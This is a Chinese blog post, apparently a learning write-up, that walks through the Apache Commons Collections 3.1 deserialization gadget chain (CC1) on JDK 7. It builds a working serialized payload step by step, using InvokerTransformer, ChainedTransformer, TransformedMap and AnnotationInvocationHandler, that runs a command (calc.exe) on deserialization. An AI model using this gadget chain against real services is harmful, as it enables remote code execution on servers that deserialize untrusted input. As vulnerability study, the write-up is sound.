沉铝汤的破站

IS LIFE ALWAYS THIS HARD, OR IS IT JUST WHEN YOU'RE A KID

Java反序列化之CC1其一

0x00 前言


本篇文章包含以下元素

  • commons-collections-3.1漏洞(CVE-2015-4852)分析(基于JDK7u80)
  • JNDI注入(写太多了,下篇文章写)
  • 利用RMI进行攻击
  • Java的反序列化攻击实例

0x01 环境配置


专业版IDEA

菜狗用的是学生证书,免费用一年。至于为什么要用专业版呢?我也不知道,用最好的装备就完事了。

JDK7u80

其实也有别的版本的利用方法,但是我还太菜了,没有研究。

Maven导入依赖

自己新建一个Maven项目,然后在pom.xml中加入如下字段:

<dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.1</version>
    </dependency>
</dependencies>

记得是加在<project></project>标签内。一般最新版的IDEA好像在你添加完后,就会自己下载。

0x02 漏洞分析


commons-collections简介

commons-collections第三方库是Apache的重要组件,它能够更强大有效的处理Java中的集合。

一个存在危险的方法

在其包org.apache.commons.collections.functorsInvokerTransformer类中(自己用ctrl+N在IDEA找),我们看到一个似曾相识的地方,如下:

public Object transform(Object input) {
	if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            }catch/*杂七杂八的省略了*/
    }
}

可以看到,这里使用了我们上篇文章Java反序列化の初见 中所讲到过的反射调用,那么我们是不是可以试一下,能否让他执行一下命令呢?但是,这里有个问题是getmethod和invoke中的参数是类中的成员变量,那我们必须是能够可控才能执行我们的命令;好巧的是,这里真的就是可控的,下面看看这个类的构造函数:

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
   this.iMethodName = methodName;
   this.iParamTypes = paramTypes;
   this.iArgs = args;
}

是直接传参的,而且没什么检查,所以我们试着构造一下,这里我们先回顾一下利用反射机制执行命令的写法:

Runtime.getRuntime().exec("calc.exe"); //正射调用

Object myRuntime = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null);//反射调用
Method exec = Class.forName("java.lang.Runtime").getMethod("exec",String.class);
exec.invoke(myRuntime, "calc.exe");

对照着我们可以写出以下的赋值:

this.iMethodname = "exec";
this.iParamTypes = String.class;
this.iArgs = "calc.exe";

Object input = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null);

所以最后我们构造的demo如下:

import org.apache.commons.collections.functors.InvokerTransformer;

public class Demo1 {
    public static void main(String[] args) throws Exception{
        Object input = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null);
        String iMethodName = "exec";
        Class[] iParamTypes = {String.class};
        Object[] iArgs = {"calc.exe"};

        InvokerTransformer invokerTransformer = new InvokerTransformer(iMethodName, iParamTypes, iArgs);
        invokerTransformer.transform(input);
    }
}

运行结果:
image-20210511131926998

模拟服务端反序列化

上面我们已经成功构造了一个可供本地利用的payload,但是如果我们想利用服务端的反序列化操作来攻击该怎么办呢?(这里我是先入为主的知道了这个payload会以反序列化的形式进行利用)下面是一个demo:

import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.*;

public class Demo2 {
    public static void main(String[] args) throws Exception{
        String iMethodName = "exec";
        Class[] iParamTypes = {String.class};
        Object[] iArgs = {"calc.exe"};
        InvokerTransformer invokerTransformer = new InvokerTransformer(iMethodName, iParamTypes, iArgs);
        //序列化,InvokerTransformer是继承了serializable接口的
        FileOutputStream file = new FileOutputStream("chenlvtang.bin");
        ObjectOutputStream se = new ObjectOutputStream(file);
        se.writeObject(invokerTransformer);
        se.close();
        //反序列化
        FileInputStream file1 = new FileInputStream("chenlvtang.bin");
        ObjectInputStream unse = new ObjectInputStream(file1);
        InvokerTransformer serverRead =  (InvokerTransformer) unse.readObject();
        unse.close();
		
        Object input = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null);
        serverRead.transform(input);
    }
}

运行成功,这里就不放图了。但是这里也有一些值得注意的问题:

第一,我们在进行反序列化的时候需要把他类型转换为InvokerTransformer类并赋值。

第二,我们在反序列化的时候还需自己手动构造一个input,然后还要手动调用transform方法,并将input值传入

很显然,这在服务端是不可能会这样写的,所以我们还需要对我们的序列化内容进行优化,看看有没有什么办法,找到最有可能被开发人员写出,并且能够进行攻击的方法或者类来形成攻击链。

解决传input值问题

上文的攻击方式,需要服务端为我们写好一个input值(这个值是暗藏危险的),并传入transform,这里应该最不可能了,所以我们先来解决这个问题。

先说点上篇文章忘写了的,我们可以看到,input的值实际上只是调出getRuntime,而getRuntime实际上就是得到Runtime的一个实例化对象,这在源码中可以看到:

private static Runtime currentRuntime = new Runtime();

public static Runtime getRuntime() {
   return currentRuntime;
}

private Runtime() {}//这样就不能通过new创建实例,只能使用getRuntime

回到主题上来,要解决传input值问题,我们的最希望的就是有一个方法可以在内部就帮我们传入危险的值,外部可以不传或者随便传一个什么,很巧妙的是这里真的有这么一个有趣的方法(又是一个小细节.jpg),在包org.apache.commons.collections.functorsChainedTransformer类中有这么一个方法:

public ChainedTransformer(Transformer[] transformers) {
   this.iTransformers = transformers;
}//它的构造函数

public Object transform(Object object) {
   	for(int i = 0; i < this.iTransformers.length; ++i) {
   	object = this.iTransformers[i].transform(object);
	}
	return object;
}

这个同样也是transform方法,但是它又大有不同。可以看到它会把我们传入的object传入到this.iTransformers[i]的transform函数中,并且赋值给object,并且还在遍历iTransformers数组,这意味着什么呢?实际上,这就相当于把上一个数组元素调用transform方法的返回值传入到下一个数组元素的transform方法中。

那如果我们假设iTransformers[0].transform(object)返回的是一个getRuntime对象,那么如果下一个元素的值为上文的InvokerTransformer invokerTransformer = new InvokerTransformer(iMethodName, iParamTypes, iArgs);,这时候下一次for循环调用iTransformers[1].transform(object),岂不是就相当于帮我传入了上文的input?

所以,这里的问题又变成了,如何让iTransforms[0].transform(object)的返回值为Runtime实例,嗯…又是一个小细节,这里真的有这样一个transform方法:

public ConstantTransformer(Object constantToReturn) {
   this.iConstant = constantToReturn;
}//构造方法

public Object transform(Object input) {
   return this.iConstant;
}

这个方法处于包org.apache.commons.collections.functorsConstantTransformer类中。可以看到,他返回的是一个Object类(返回子类应该也行),所以如果我们让iTransformers[0]的值为this.iConstant=Runtime.getRuntime(),他会成功返回一个Runtime实例,并且他完全不受ChainedTransformer中transform方法的object的影响。那么我们现在就可以随便传一个参数了,而不是要传入危险的input值。新的demo如下:

public class Demo3 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
        };
        ChainedTransformer chain = new ChainedTransformer(transformers);
        chain.transform(null);
    }
}

完美执行,芜湖~~

image-20210511155841260

再次进行反序列化模拟

public class Demo3 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
        };
        ChainedTransformer chain = new ChainedTransformer(transformers);

        //序列化
        FileOutputStream file = new FileOutputStream("chenlvtang.bin");
        ObjectOutputStream se = new ObjectOutputStream(file);
        se.writeObject(chain);
        se.close();
        //反序列化
        FileInputStream file1 = new FileInputStream("chenlvtang.bin");
        ObjectInputStream unse = new ObjectInputStream(file1);
        ChainedTransformer serverRead =  (ChainedTransformer) unse.readObject();
        unse.close();

        serverRead.transform("foobar");

    }
}

然而,这里出现了一个问题,不能成功的序列化,报错如下:

image-20210511160547430

再次回顾Java序列化条件: 该类必须实现java.io.Serializable 接口。该类的所有属性必须是可序列化的。如果有一个属性不是可序列化的,则该属性必须注明是短暂的。很显然,这里之所以序列化失败,是因为属性中的Runtime类是不可序列化的。所以如果还要继续利用下去,就必须解决这个问题。

解决Runtime不可序列化问题

既然不能直接传入Runtime.getRuntime,那我们能不能用别的方法获得呢?实际上,回过头去看看最开始的危险方法,我们就会有灵感了。既然exec都是用这个方法获得的,那我们是不是完全可以通过它来构造出多个Runtime实例对象的半成品(并且可以反序列化),然后因为ChainedTransformer中transform方法来联系起来,最后成功构造一个Runtime实例呢?

Class.forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(Runtime.class,null);//Runtime.getRuntime()

这里还要另外提一下,你使用Runtime.classClass.forName("java.lang.Runtime")Runtime.getClass()是一样的,这三者都是为了获得类。

Runtime.class.getMethod("getRuntime",null).invoke(Runtime.class,null);

我们尝试下面的构造

this.iMethodname = "getRuntime";
this.iParamTypes = null;
this.iArgs = null;

Object input = Runtime.class;

也即下面的语句

Transformer[] transformers = {
   new ConstantTransformer(Runtime.class),//这个好像确实就可以序列化了,不好解释为什么,大概是因为类与Object之间的一些事情吧(可能)
   new InvokerTransformer("getRuntime",new Class[0], new Object[0]),//new Class[0] / object[0]  == null
   new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
ChainedTransformer chain = new ChainedTransformer(transformers);

看上去很好,但是我们忘了,Runtime.class传入时,会有一次cls=input.getClass(),即Runtime.class.getClass()这样获得类将会是java.lang.Class,而Class是没有getRuntime方法的,所以会报错。但我们再试试多套几层,试试能不能由Class类慢慢的获得Runtime实例。

如果我们总结这个transform方法的话,我们就可以得到这样一个公式

input.class.getMethod(this.iMethodname,this.iParamTypes).invoke(input,this.iArgs);//早该总结了

我们逆向思考一下:

Runtime.class.getMethod("getRuntime",null).invoke(Runtime.class,null);
= (Method)invoke.invoke(Runtime.class.getMethod("getRuntime",null),{Runtime.class,null})

事实上(Method)invoke这种是不存在的,但是如果这时候你脑子清晰一点,你会发现有个很好玩的事情,实际上我逆向思考了半天,总是试不出正确的构造,最后结合网上最后的poc,又正向改了一下(其实我是乱改的,只是尝试一下,没想到出来了)。

我把上面逆向得到的payload尽可能的去凑到上面总结的公式,得到如下的新payload:

Runtime.class.getMethod("getRuntime",null).class.getMethod("invoke", {Object.class, Object[].class}).invoke(Runtime.class.getMethod("getRuntime",null), new Class[]{Runtime.class,null})

这里有种写数学题的感觉…那种已知几个公理,求证两式相等…另外这里要注意Runtime.class.getMethod("getRuntime",null)是不能.class的,但是奇妙的有getClass(),所以我们最后的payload为:

Runtime.class.getMethod("getRuntime",null).getClass().getMethod("invoke", new Class[]{Object.class, Object[].class}).invoke(Runtime.class.getMethod("getRuntime",null), new Class[]{Runtime.class, null})//这个才是能正确print的

然后我们用Transformer类构造一下:

Transformer[] transformers = {
       new ConstantTransformer(Runtime.class.getMethod("getRuntime",null)),
       new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Class[]{Runtime.class, null}),
       new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
ChainedTransformer chain = new ChainedTransformer(transformers);

理想很丰满,现实很骨感,md💢,忘记Method类( java.lang.reflect.Method)也不能序列化了,没办法,只能再转换了,这里套来套去的,看的眼睛都花了,就先用几个变量表示吧,既然只能传入Runtime.class, 就直接从这里开始推吧,其实只要把Runtime.class.getMethod("getRuntime",null)再转换一下就好了:

cls= Runtime.class.getClass();//得到java.lang.Class
method = cls.getMethod("getMethod", new Class[]{String.class,Class[].class});
return Method.invoke(Runtime.class, new Object[]{"getRuntime", Class[0]});

所以最后payload如下:

public class Demo5 {
    public static void main(String[] args) throws Exception{

        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Class[]{Runtime.class, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
        };
        ChainedTransformer chain = new ChainedTransformer(transformers);

        //序列化
        FileOutputStream file = new FileOutputStream("chenlvtang.bin");
        ObjectOutputStream se = new ObjectOutputStream(file);
        se.writeObject(chain);
        se.close();
        //反序列化
        FileInputStream file1 = new FileInputStream("chenlvtang.bin");
        ObjectInputStream unse = new ObjectInputStream(file1);
        ChainedTransformer serverRead =  (ChainedTransformer) unse.readObject();
        unse.close();

        serverRead.transform("foobar");
    }
}

运行结果:

image-20210512143905460

成功序列化,且执行了命令。

找一个更容易出现的地方

上面的利用需要服务器来主动调用ChainedTransformer的transform函数,所以下一步我们的目标就是找到一个更有可能被触发的地方进行进一步的包装,这里有两个思路,一个是LazyMap(ysoserial中使用的是这个),另外一个是TransformedMap,限于篇幅的影响,所以我们这里就只介绍TransformedMap的,前者将在以后的文章中再进行分析。

在TransformedMap(间接继承了Map类)的源码中,我们很容易就能发现有几个函数直接调用了transform:

protected Object transformKey(Object object) {
    return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}

protected Object transformValue(Object object) {
    return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}

protected Object checkSetValue(Object value) {
    return this.valueTransformer.transform(value);
}

这几个函数都直接调用了transform,如果是public的话,只要我们能控制keyTransformer或者valueTransformer中的任何一个,并赋值为之前构造好的ChainedTransformer链,都能够帮助我们成功调用到ChainedTransformer#transform。而在TransformedMap的构造函数中,我们可以发现,这两个成员变量确实都是可控的:

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;
}

而且虽然构造函数是protected类型,但是还提供了一个可被外部调用的decorate函数,可以帮助我们返回一个TransformedMap实例。所以我们可以做如下的包装:

Transformer chain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, chain);

为了避免重复,所以我们只需要选keyTransformer和valueTransformer中任意一个赋值为chain即可,上面代码选择的是valueTransformer。这样子似乎最后就能直接用transformKey等函数进行调用了,但是别忘了,我们这里的这三个函数虽然直接调用了transform,但是都是protected属性,所以我们不能直接在外部调用。既然不能直接调用,那么是不是有间接调用呢?有的,下面这几个TransformedMap函数,就实现了间接调用transform:

public Object put(Object key, Object value) {
    key = this.transformKey(key);
    value = this.transformValue(value);
    return this.getMap().put(key, value);
}

public void putAll(Map mapToCopy) {
    mapToCopy = this.transformMap(mapToCopy);//transformMap中同样会调用transformKey和transformValue
    this.getMap().putAll(mapToCopy);
}

上面的函数都通过调用transformKey/Value而实现了简介调用了transform。其实还有一个复杂一点的方法,通过调用 checkSetValue间接实现了效果,不过在TransformedMap的父类AbstractInputCheckedMapDecorator中的静态类MapEntry中:

static class MapEntry extends AbstractMapEntryDecorator {
    private final AbstractInputCheckedMapDecorator parent;

    protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {
        super(entry);
        this.parent = parent;
    }

    public Object setValue(Object value) {
        value = this.parent.checkSetValue(value);
        return super.entry.setValue(value);
    }
}

这个方法在父类的一个静态类中,要如何才能成功调用到呢?答案是: a=TransformedMap.entrySet().iterator().next(),b=a.setValue(),调用链如下:

//AbstractInputCheckedMapDecorator#entrySet
return (Set)(this.isSetValueChecking() ? new AbstractInputCheckedMapDecorator.EntrySet(super.map.entrySet(), this) : super.map.entrySet());
//检查value值是否为空,就是检查TransformedMap中的valueTransformer,然后可以看到传入的this就是TransformedMap

//static class EntrySet#iterator
protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) {
    super(set);
    this.parent = parent;
}

public Iterator iterator() {
    return new AbstractInputCheckedMapDecorator.EntrySetIterator(super.collection.iterator(), this.parent);
}

//static class EntrySetIterator#next
protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) {
    super(iterator);
    this.parent = parent;
}

public Object next() {
    Entry entry = (Entry)super.iterator.next();
    return new AbstractInputCheckedMapDecorator.MapEntry(entry, this.parent);
}

//static class MapEntry#setValue
protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {
    super(entry);
    this.parent = parent;
}

public Object setValue(Object value) {
    value = this.parent.checkSetValue(value);
    return super.entry.setValue(value);
}

上面一系列调用最后调用到了setValue,,并且保证了setValue中的this.parent并不是指MapEntry的父类或AbstractInputCheckedMapDecorator的父类,而是我们的TransformedMap。

所以最后this.parent.checkSetValue(value)时,就成功调用到了TransformedMap中的checkSetValue,从而调用了this.valueTransformer.transform(value)。所以最后我们的包装可以如下:

public class Demo6 {
    public static void main(String[] args) throws Exception{

        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Class[]{Runtime.class, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
        };
        Transformer chain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, chain);
        //序列化
        FileOutputStream file = new FileOutputStream("chenlvtang.bin");
        ObjectOutputStream se = new ObjectOutputStream(file);
        se.writeObject(outerMap);
        se.close();
        //反序列化
        FileInputStream file1 = new FileInputStream("chenlvtang.bin");
        ObjectInputStream unse = new ObjectInputStream(file1);
        Map outerMap_now =  (Map)unse.readObject();
        unse.close();

        outerMap_now.put("x","y");
        //下面的设置值操作也行
        //Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
    	//onlyElement.setValue("foobar");
    }
}

可以看到,包装后payload在反序列化后,要触发时,虽然也要调用put或者setvalue,但是这两种操作都是HashMap的常用操作,所以极大的增加了可能性。然而这样还不是很完美,毕竟不是每个程序都会进行这种操作,所以我们下面最好能直接找到一个重写了readObject的类,来直接触发。

找到重写了readObject的类

上面的方法,虽然很可能被开发者写出来,毕竟是Map,很常用,但是我们还是想找到一个只需反序列化就能调用的利用方式。

sun.reflect.annotation.AnnotationInvocationHandler(从名字看得出和注解相关)中的有一个重写可以被我们利用。

它的构造方法(可以看到他没有申明Public,所以需要我们之后利用反射进行调用):

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
    Class[] var3 = var1.getInterfaces();
    if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
        this.type = var1;
        this.memberValues = var2;
    } else {
        throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
    }
}

可以看到我们可以传入Map并赋值给了 this.memberValues,然后我们在看它的readObject:

 private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;    
	try {
        var2 = AnnotationType.getInstance(this.type);
    } catch (IllegalArgumentException var9) {
        throw new InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map var3 = var2.memberTypes();
    Iterator var4 = this.memberValues.entrySet().iterator();//迭代器

    while(var4.hasNext()) {//遍历我们的map
        Entry var5 = (Entry)var4.next();
        String var6 = (String)var5.getKey();//获得键
        Class var7 = (Class)var3.get(var6);
        if (var7 != null) {
            Object var8 = var5.getValue();
            if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));//给键设置值
            }
        }
    }

}

可以看到上面的readobject操作,其实就相当于给我们传入的Map中的键设置一个值,这就相当于我们上文的:

Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");

所以这看上去是可行的,那么我们尝试构造payload如下:

Transformer[] transformers = {
     new ConstantTransformer(Runtime.class),
     new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
     new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Class[]{Runtime.class, null}),
	 new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
Transformer chain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("foo","bar");
Map outerMap = TransformedMap.decorate(innerMap, null, chain);
//反射机制调用AnnotationInvocationHandler类的构造函数
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
//访问权限放开,private之类的也能调用
ctor.setAccessible(true);
//获取AnnotationInvocationHandler类实例
Object instance = ctor.newInstance(Target.class ,outerMap);

没成功执行命令??为什么呢?

这里先说一下什么是Target,这是java的元注解,具体可看:定义注解 - 廖雪峰的官方网站 (liaoxuefeng.com)

@Target来指定Annotation可以应用的范围; 默认的形式为:@Target(ElementType.TYPE), 相当于@Target(value=xxx)。这里之所以要传这个参,是因为构造函数里要求了第一个参数要是注解类型: if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class),同时因为里面会遍历我们的Map,所以我们要给Map设一个键值对,但是这个键值对是不能乱传的,我们可以试试设置为innerMap.put("foo","bar")来调试

image-20210512162510019

可以看到,这样子得到的var7是空值,是进不去if语句的,从而也没法触发我们的漏洞。但是经过调试我们可以清楚的看到,只要var6的值与var3的key值相等就能让var7不为0.这里var3的key为value是受了之前我们传入的Target的影响。综上,我们只要让Map的key为”value”就行了。

public class Demo7 {
    public static void main(String[] args) throws Exception{

        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Class[]{Runtime.class, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
        };
        Transformer chain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
//        innerMap.put("foo","bar");//不行,key要为value
        innerMap.put("value","bar");
        Map outerMap = TransformedMap.decorate(innerMap, null, chain);
        //反射机制调用AnnotationInvocationHandler类的构造函数
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        //访问权限放开,private之类的也能调用
        ctor.setAccessible(true);
        //获取AnnotationInvocationHandler类实例
        Object instance = ctor.newInstance(Target.class ,outerMap);


        //序列化
        FileOutputStream file = new FileOutputStream("chenlvtang.bin");
        ObjectOutputStream se = new ObjectOutputStream(file);
        se.writeObject(instance);
        se.close();
        //反序列化
        FileInputStream file1 = new FileInputStream("chenlvtang.bin");
        ObjectInputStream unse = new ObjectInputStream(file1);
        unse.readObject();
        unse.close();
    }
}

最后成功运行😋,这时候只要服务端有对一个我们可控的值进行反序列化即可触发任意命令执行。

值得注意的是,这个AnnotationInvocationHandler的payload只适用于JDK1.7,受篇幅影响,我们在下一篇讲LazyMap的时候再进行详细描述

Link: Java反序列化之CC1其二

0x03 参考文章


浅显易懂的JAVA反序列化入门 - 先知社区 (aliyun.com)

JAVA反序列化 - Commons-Collections组件 - 先知社区 (aliyun.com)